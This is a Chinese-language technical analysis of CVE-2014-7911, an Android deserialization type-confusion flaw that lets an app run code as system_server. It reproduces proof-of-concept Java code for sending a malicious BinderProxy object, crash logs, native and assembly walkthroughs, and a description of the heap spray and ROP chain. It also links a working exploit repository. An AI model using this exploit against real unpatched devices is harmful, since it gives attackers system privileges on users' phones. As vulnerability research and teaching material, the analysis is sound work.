CVE-2014-7911安卓本地提权漏洞详细分析
本文对CVE-2014-7911漏洞的原理以及利用进行了详细分析。
简介
CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用户执行命令。在Android5.0之前的版本中,java.io.ObjectInputStream没有检查要反序列化的对象是否真的可以序列化,攻击者利用此漏洞,构造恶意对象可在sysem_server进程中执行任意代码并获取提升的权限。CVE-2014-7911是一个非常有学习价值的漏洞,虽然由于Android的碎片化,构造的ROP链很难做到通用,但是其涉及的知识非常广泛,包括Java序列化与反序列化、Dalvik GC机制、Android binder机制、heap spary、ROP、stack pivot。
基础知识
由于该漏洞的原理与利用涉及了很多方面,这里不一一介绍,贴出一些链接:
Java序列化与反序列化:
http://www.cnblogs.com/xdp-gacl/p/3777987.html
http://developer.51cto.com/art/201202/317181.htm
Android binder机制:
http://blog.csdn.net/luoshengyang/article/details/6618363
heap spray:
http://blog.csdn.net/magictong/article/details/7391397
ROP:
http://drops.wooyun.org/papers/4077
http://blog.csdn.net/l173864930/article/details/14000343
分析环境与工具
Android版本:Android4.4.4_r1
手机:Nexus5
IDA 6.5
漏洞分析
由于网上已有分析文献加上本人文笔有限,本文将根据参考文献进行更加细致的分析。
为了方便阅读,下面我贴上部分参考文献,并补充我在分析时对漏洞的理解:
在Jann Horm给出的漏洞信息与POC中(1],向system_server传入的是不可序列化的android.os.BinderProxy对象实例,其成员变量在反序列化时发生类型混淆,由于BinderProxy的finalize方法包含本地代码,于是在本地代码执行时将成员变量强制转换为指针,注意到成员变量是攻击者可控的,也就意味着攻击者可以控制该指针,使其指向攻击者可控的地址空间,最终获得在system_server(uid=1000)中执行代码的权限。下面主要结合POC对漏洞进行详细分析,由于笔者之前对相关的Java序列化、Android binder跨进程通信和native代码都不太熟悉,主要根据参考文献进行翻译、整理和理解,不当之处,还请读者海涵。
Java层分析
第一步,构建一可序列化的恶意对象
创建AAdroid.os.BinderProxy对象,并将其放入Bundle数据中:
1234 Bundle bundle = new Bundle();AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();bundle.putSerializable("eatthis", evilProxy);>注意AAdroid.os.BinderProxy是可序列化的,其成员变量mOrgue就是随后用于改变程序执行流程的指针。随后该可序列化的AAdroid.os.BinderProxy将在传入system_server之间修改为不可序列化的Android.os.BinderProxy对象:
1234567 public class BinderProxy implements Serializable {private static final long serialVersionUID = 0;//public long mObject = 0x1337beef;//public long mOrgue = 0x1337beef;//注意:此处要根据待测的Android版本号设置,在我们待测试的Android 4.4.4中,BinderProxy的这两个Field为private int,这样才能保证POC访问的地址为我们设置的值0x1337beefprivate int mObject = 0x1337beef;private int mOrgue = 0x1337beef;
AAdroid.os.BinderProxy可序列化的原因是我们需要首先将恶意对象序列化并存入bundle对象中,才能将其传递给system_server进程。
mOrgue和mObject的类型可以查看源码(frameworks/base/core/java/android/os/Binder.java)。
第二步,准备传入system_server的数据
主要通过一系列java的反射机制,获得android.os.IUserManager.Stub和andrioid.os.IUserManager.Stub.Proxy的Class对象,最终获得跨进程调用system_server的IBinder接口mRemote,以及调用UserManager.setApplicationRestriction函数的TRANSACTION_setApplicationRestriction,为与system_server的跨进程Binder通信作准备:
123456789101112131415161718192021222324 Class stubClass = null;for (Class inner : Class.forName("android.os.IUserManager").getDeclaredClasses()) {if (inner.getCanonicalName().equals("android.os.IUserManager.Stub")) {stubClass = inner;}}Field TRANSACTION_setApplicationRestrictionsField = stubClass.getDeclaredField("TRANSACTION_setApplicationRestrictions");TRANSACTION_setApplicationRestrictionsField.setAccessible(true);TRANSACTION_setApplicationRestrictions = TRANSACTION_setApplicationRestrictionsField.getInt(null);Class proxyClass = null;for (Class inner : stubClass.getDeclaredClasses()) {if (inner.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {proxyClass = inner;}}UserManager userManager = (UserManager) context.getSystemService(Context.USER_SERVICE);Field mServiceField = UserManager.class.getDeclaredField("mService");mServiceField.setAccessible(true);Object mService = mServiceField.get(userManager);Field mRemoteField = proxyClass.getDeclaredField("mRemote");mRemoteField.setAccessible(true);mRemote = (IBinder) mRemoteField.get(mService);UserHandle userHandle = android.os.Process.myUserHandle();setApplicationRestrictions(context.getPackageName(), bundle, userHandle.hashCode());
这里有一个很基础的问题,为什么我们一定要把这个对象传递进system_server进程呢?system_server进程拥有system权限,我们通过将对象传递给system_server,利用一些技巧达到提权到system的目的。
这段连续的java反射涉及到了Android binder进程间通讯的知识,有兴趣的可以下来深入研究。
第三步,向system_server传入不可序列化的Bundle参数
调用setApplicationRestrictions这个函数,传入之前打包evilproxy的Bundle数据作为参数。将该函数与Android源码中的setApplicationRestrication函数对比,主要的区别在于将传入的Bundle数据进行了修改,将之前可序列化的AAdroid.os.BinderProxy对象修改为了不可序列化的Android.os.BinderProxy对象,这样就将不可序列化的Bundles数据,通过Binder跨进程调用,传入system_server的Android.os.UserManager.setApplicationRestrictions方法:
12345678910111213141516171819202122232425262728 private void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int userHandle) throws android.os.RemoteException {android.os.Parcel _data = android.os.Parcel.obtain();android.os.Parcel _reply = android.os.Parcel.obtain();try {_data.writeInterfaceToken(DESCRIPTOR);_data.writeString(packageName);_data.writeInt(1);restrictions.writeToParcel(_data, 0);_data.writeInt(userHandle);byte[] data = _data.marshall();for (int i=0; true; i++) {if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {data[i] = 'a';data[i+1] = 'n';break;}}_data.recycle();_data = Parcel.obtain();_data.unmarshall(data, 0, data.length);mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);_reply.readException();}finally {_reply.recycle();_data.recycle();}}
事实上,我们并非必须使用Android.os.UserManager.setApplicationRestrictions方法向system_server传递对象,我们需要的是找到一个途径将序列化后的对象传递进system_server进程,并且system_server会将该对象反序列化,只要满足这样的条件均可。
还有一个问题:为什么我们要修改AAdroid.os.BinderProxy为Android.os.BinderProxy?这个问题我将会在后面解释。
安装POC,启动Activity后将其最小化,触发GC,引起Android系统重启,从Logcat日志中可以看到,system_server执行到了之前设置的BinderProxy对象的0x1337beef这个值,访问了不该访问的内存,导致异常。错误信号、寄存器快照和调用栈如下:
12345678910111213141516171819202122 05-14 18:30:55.974: I/DEBUG(3695): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'05-14 18:30:55.974: I/DEBUG(3695): Revision: '11'05-14 18:30:55.974: I/DEBUG(3695): pid: 1552, tid: 1560, name: FinalizerDaemon >>> system_server <<<05-14 18:30:55.974: I/DEBUG(3695): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef305-14 18:30:56.064: I/DEBUG(3695): r0 1337beef r1 401b89d9 r2 746fdad8 r3 6d4fbdc405-14 18:30:56.064: I/DEBUG(3695): r4 401b89d9 r5 1337beef r6 713e3f68 r7 1337beef05-14 18:30:56.064: I/DEBUG(3695): r8 1337beef r9 74709f68 sl 746fdae8 fp 74aacb2405-14 18:30:56.064: I/DEBUG(3695): ip 401f08a4 sp 74aacae8 lr 401b7981 pc 40105176 cpsr 200d0030...I/DEBUG ( 241): backtrace:I/DEBUG ( 241): #00 pc 0000d176 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)I/DEBUG ( 241): #01 pc 0007097d /system/lib/libandroid_runtime.soI/DEBUG ( 241): #02 pc 0001dbcc /system/lib/libdvm.so (dvmPlatformInvoke+112)I/DEBUG ( 241): #03 pc 0004e123 /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)I/DEBUG ( 241): #04 pc 00026fe0 /system/lib/libdvm.soI/DEBUG ( 241): #05 pc 0002dfa0 /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)I/DEBUG ( 241): #06 pc 0002b638 /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)I/DEBUG ( 241): #07 pc 0006057d /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)I/DEBUG ( 241): #08 pc 000605a1 /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)I/DEBUG ( 241): #09 pc 00055287 /system/lib/libdvm.soI/DEBUG ( 241): #10 pc 0000d170 /system/lib/libc.so (__thread_entry+72)I/DEBUG ( 241): #11 pc 0000d308 /system/lib/libc.so (pthread_create+240)
这里有个关键问题:
为什么要触发GC,触发GC后发生了什么导致漏洞的触发?同样我会在下面解释。
Native层分析
假如BinderProxy可以被序列化,那么在反序列化时,其field引用的对象也会被反序列化;但在POC中ObjectInputStream反序列化的BinderProxy对象实例不可序列化,这样在ObjectInputStream反序列化BinderProxy对象时,发生了类型混淆(type confusion),其field被当做随后由Native代码处理的指针。这个filed就是之前设置的0x1337beef,具体而言,就是mOrgue这个变量。
android.os.BinderProxy的finalize方法调用native代码,将mOrgue处理为指针:
12345678 protected void finalize() throws Throwable {try {destroy();} finally {super.finalize();}}
不熟悉Java GC机制的不会明白此处finalize方法和我们的漏洞利用有什么关系,这里我将简单介绍一下Java对象的生命周期与垃圾回收(从网上摘抄,出处不详):
创建对象的方式:
- 用new语句创建对象。
- 使用反射,调用java.lang.Class或java.lang.reflect.Constructor的newInstance()实例方法。
- 调用对象的clone()方法
- 使用反序列化手段,调用java.io.ObjectInputStream对象的readObject()方法。
垃圾回收:
对象的可触及性:
- 可触及状态:当一个对象被创建后,只要程序中还有引用变量引用该对象,那么它就始终处于可触及状态。
- 可复活状态:当程序不再有任何引用变量引用对象时,它就进入可复活状态。该状态的对象,垃圾回收器会准备释放它占用的内存,在释放前,会调用它的finalize()方法,这些finalize()方法有可能使对象重新转到可触及状态。
- 不可触及状态:当JVM执行完所有的可复活状态的finalize()方法后,假如这些方法都没有使对象转到可触及状态。那么该对象就进入不可触及状态。只有当对象处于不可触及状态时,垃圾回收器才会真正回收它占用的内存。
为什么要触发GC,触发GC后发生了什么导致漏洞的触发?
答:当system_server对传进来的对象进行反序列化后就创建了对象,启动Activity后将其最小化,触发GC,注意该对象并没有任何引用,GC清理时就会调用该对象的finalize方法,即调用了Android.os.BinderProxy的finalize方法。
其中,destroy为native方法:
1 private native final void destroy();cpp代码:
12345678910111213 static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj){IBinder* b = (IBinder*)env->GetIntField(obj, gBinderProxyOffsets.mObject);DeathRecipientList* drl = (DeathRecipientList*)env->GetIntField(obj, gBinderProxyOffsets.mOrgue);LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);drl->decStrong((void*)javaObjectForIBinder);b->decStrong((void*)javaObjectForIBinder);IPCThreadState::self()->flushCommands();}最终native代码调用上述decStrong方法,从
12 DeathRecipientList* drl = (DeathRecipientList*)env->GetIntField(obj, gBinderProxyOffsets.mOrgue);这一行可以看出,drl就是mOrgue,可以被攻击者控制。 所以,drl->decStrong方法调用使用的this指针可由攻击者控制。
gBinderProxyOffsets.mObject和gBinderProxyOffsets.mOrgue
在android_util_Binder.cpp中的int_register_android_os_BinderProxy方法完成初始化:
12 gBinderProxyOffsets.mObject = env->GetFieldID(clazz, "mObject", "I");gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue", "I");
即是AAdroid.os.BinderProxy中的变量mObject和mOrgue。
为什么我们要修改AAdroid.os.BinderProxy以及为什么要修改为Android.os.BinderProxy?
答:注意我们仅仅是向system_server进程传递了一个恶意对象实例,此时没有任何该对象的方法或者数据被使用,然而由于Java GC机制,当该对象被清理时,GC将调用他的finalize方法。然后如果只有如此,我们仍然无法利用,因为finalize方法仍然是不可控的,我们目前唯一能控制的是该恶意对象,回到我们选择的Android.os.BinderProxy,它在其finalize方法中将变量mObject和mOrgue强制转换为函数指针,并调用。而注意的是,我们可以控制mObject和mOrgue的值,这样就相当于我们可以向system_server传递一个任意值的函数指针this,并在该对象实例被GC时有机会获得控制权。
再看一下RefBase类中的decStrong方法
12345678910111213141516 void RefBase::decStrong(const void* id) const{weakref_impl* const refs = mRefs;refs->removeStrongRef(id);const int32_t c = android_atomic_dec(&refs->mStrong);ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);if (c == 1) {refs->mBase->onLastStrongRef(id);if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) == OBJECT_LIFETIME_STRONG) {delete this;}refs->decWeak(id);}注意上述refs->mBase->onLastStrongRef(id)最终导致代码执行。
我们上面提到我们传入的mOrgue的值,即是drl->decStrong方法所在类DeathRecipientList的this指针。汇编代码分析
注意我这里添加了一张汇编图示,我导入的是没有strip过的libutils.so,这样IDA中解释出的信息更加丰富。
下面看一下发生异常时最后调用的RefBase:decStrong的汇编代码。将libutils.so拖入IDA Pro,查看Android::RefBase::decStrong函数。分析时需要牢记的是,攻击者能够控制r0(this指针):
首先对r0的使用,是在decStrong的前下面三行代码之中:
123 weakref_impl* const refs = mRefs;refs->removeStrongRef(id);const int32_t c = android_atomic_dec(&refs->mStrong);对应的汇编代码如下:
1234 ldr r4, [r0, #4] # r0为this指针,r4为mRefsmov r6, r1mov r0, r4blx <android_atomic_dec ()>首先,mRefs被加载到r4。(r0是drl的this指针,mRefs是虚函数表之后的第一个私有变量,因此mRefs为r0+4所指向的内容)
然后,android_atomic_dec函数被调用,传入参数&refs->mStrong。
1 const int32_t c = android_atomic_dec(&refs->mStrong);这被翻译为:
12 mov r0, r4 # r4指向mStrong,r0指向mStrongblx <android_atomic_dec ()>作为函数参数,上述r0就是&refs->mStrong。注意,mStrong是refs(类weakref_impl)的第一个成员变量,由于weakref_impl没有虚函数,所以没有虚函数表,因此mStrong就是r4所指向的内容。
另外,refs->removeStrongRef(id);这一行并没有出现在汇编代码中,因为这个函数为空实现,编译器进行了优化。如下所示:
1 void removeStrongRef(const void* /*id*/) { }在调用android_atomic_dec后,出现的是以下代码:
123 if (c == 1) {refs->mBase->onLastStrongRef(id);}对应的汇编代码
1234567 cmp r0, #1 # r0 = refs->mStrongbne.n d1ealdr r0, [r4, #8] # r4 = &refs->mStrongmov r1, r6ldr r3, [r0, #0]ldr r2, [r3, #12]blx r2注意,android_atomic_dec函数执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了调用refs->mBase->onLastStrongRef(id)(即:blx r2),攻击者需要使refs->mStrong为1。
至此,可以看出攻击者为了实现代码执行,需要满足如下约束条件:
- drl(就是mOrgue,第一个可控的指针,在进入decStrong函数时的r0)必须指向可读的内存区域;
- refs->mStrong必须为1;
- refs->mBase->onLastStrongRef(id)需要执行成功。并最终指向可执行的内存区域。即满足:
12345 if(*(*(mOrgue+4)) == 1) {refs = *(mOrgue+4);r2 = *(*(*(refs+8))+12);blx r2 ; <—— controlled;}除此以外,攻击者还必须克服Android中的漏洞缓解技术——ASLR和DEP。
我们可以看到这里使用了三层指针的跳转,最终才拿到控制权。mOrgue需要指向攻击者可控的内存,怎样做到?下面我将结合参考文献以及retme7提供的POC进行翻译和理解。
漏洞利用
绕过ASLR
Android有做地址空间随机化ASLR,但是所有的app都是fork自zygote进程,基础模块的内存布局全部是相同的,也就是说我们可以简单的绕过system_server的ASLR。
Dalvik-heap spary
Dalvik-heap是储存Java对象实例的一片由Dalvik虚拟机管理的内存区,它的内存布局也是来自zygote进程,在所有app进程中都是相同的。
system_server进程向android设备提供绝大部分的系统服务,通过这些服务的一些特定方法我们可以向system_server传输一个String,同时system_server把这个String存储在Dalvik-heap中不被销毁(因为我们需要使用注入代码段对这片内存区域进行填充)。
我屏蔽了retme7的POC中的两行代码,经过测试并没有影响。
首先,看一下registerReceiver方法的声明:
public Intent registerReceiver(BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)
其中broadcastPermission参数为一个String类型,方法调用完成后,String buffer将常驻system_server内存空间,并且不会被销毁。接下来,将结合Android4.4.4_r1源码简单分析下registerReceiver方法是如何将String传递进并常驻在system_server进程的:ContextWrapper.registerReceiver->ContextImpl.registerReceiver->ContextImpl.registerReceiverInternal->ActivityManagerProxy.registerReceiver->ActivityManagerService.registerReceiver
注意ActivityManagerProxy.registerReceiver方法里通过Binder驱动程序就进入到了ActivityManagerService中的registerReceiver方法中,也就是进入到了system_server进程里。
贴出ActivityManagerService.registerReceiver方法的关键部分:
通过
就将传递进的String buffer即此处的permission常驻在system_server内存空间。
最后反复调用heapSpary,完成Dalvik-heap spary:
Spray addresses manipulation
方便请见,再次贴出实现代码执行的约束条件:
完成system_server进程的堆喷射后,我们遇到另一个问题-虽然我们的spray chunk充满了system_server内存空间,mOrgue也确实指向可读的spray chunk,然而我们上面提到由于此漏洞的特殊型,需要控制其三重指针的调用,所以我们还需要构造特殊的spray chunk,使得mOrgue每次指向相同的偏移。
下面是构造后的spray chunk的结构图(图来自参考文献):
简单解释一下:
STATIC_ADDRESS是我们传递进来的mOrgue
GADGET_CHUNK_OFFSET是GADGET_CHUNK在spray chunk的偏移
STATIC_ADDRESS = Beginning_of_spray + 4 * N
[STATIC_ADDRESS] = STATIC_ADDRESS + GADGET_CHUNK_OFFSET - 4 * N
= Beginning_of_spray + 4 * N + GADGET_CHUNK_OFFSET - 4 * N
= Beginning_of_spray + GADGET_CHUNK_OFFSET
= GADGET_CHUNK_ADDR
这样只要确保STATIC_ADDRESS每次都位于Relative Addresses Chunk区域(spray chunk中Relative Addresses Chunk的比例远大于Gadget Chunk),就可保证STATIC_ADDRESS每次都指向GADGET_CHUNK_ADDR。
重新回头分析汇编代码:
为了控制后续程序流程,r0的值必须为1
ldr r4, [r0, #4] --> r4=[STATIC_ADDRESS + 4] --> r4=GADGET_CHUNK_ADDR - 4
[r4]的值为1,即[GADGET_CHUNK_ADDR - 4]的值为1。cmp比较成立,进入下面的汇编代码:
为了方便之后的布局,设置[GADGET_CHUNK_ADDR + 4] =STATIC_ADDRESS + 12,则:r3=[STATIC_ADDRESS + 12]
r3=GADGET_CHUNK_ADDR - 12
接着往下看:
这样,我们就完成了spary chunk的布局,Spray addresses manipulation完毕
ROP
由于DEP(Data Execution Prevention)的原因,Dalvik堆上的内存不能用来执行。需要通过ROP技术绕过DEP,执行代码(我们选择执行system函数,然后通过system函数调用外部程序)。
这里首先用到了一个寻找ROP链的工具:
https://github.com/JonathanSalwan/ROPgadget
注意:
只用基础模块:libc libandroid_runtime …(会被zygote加载的模块,保证内存布局的一致)
可以把arm code当做thumb code来搜索,增加更多的可能
为了控制R0寄存器使其指向system函数的参数(命令字符串),我们选择用stack pivot(将控制的堆内存交换栈上,即复写SP)技术将字符串压入堆栈,然后通过pop将字符串地址赋给R0。
第一个gadget:
通过r1跳转到第二个gadget:
这里我提前将system函数的地址写入[GADGET_CHUNK_ADDR + 12]。
有一个问题,为什么要通过第一个gadget的过渡,才完成stack pivot?
答:事实上是不得已而为之,我用ROPgadget扫描了整个/system/lib目录下的基础模块的”mov sp, r”,只发现有mov sp, r7,所以只能采取这种过度的方式。
继续来到第三个gadget:
如此,我们将命令字符串放在GADGET_CHUNK_ADDR + 24开始的空间就可以了,最终完成了对CVE-2014-7911漏洞的system权限提权,并执行任意代码。
POC
虽然retme7大神早就发布了POC,还是把我修改整理过的POC传到github上,就当保存一下。(只适用nexus5 Android4.4.4_r1)
https://github.com/ele7enxxh/CVE-2014-7911
参考文献
- http://seclists.org/fulldisclosure/2014/Nov/51
- http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation
- http://drops.wooyun.org/papers/6082
- https://github.com/retme7/CVE-2014-7911_poc
- https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf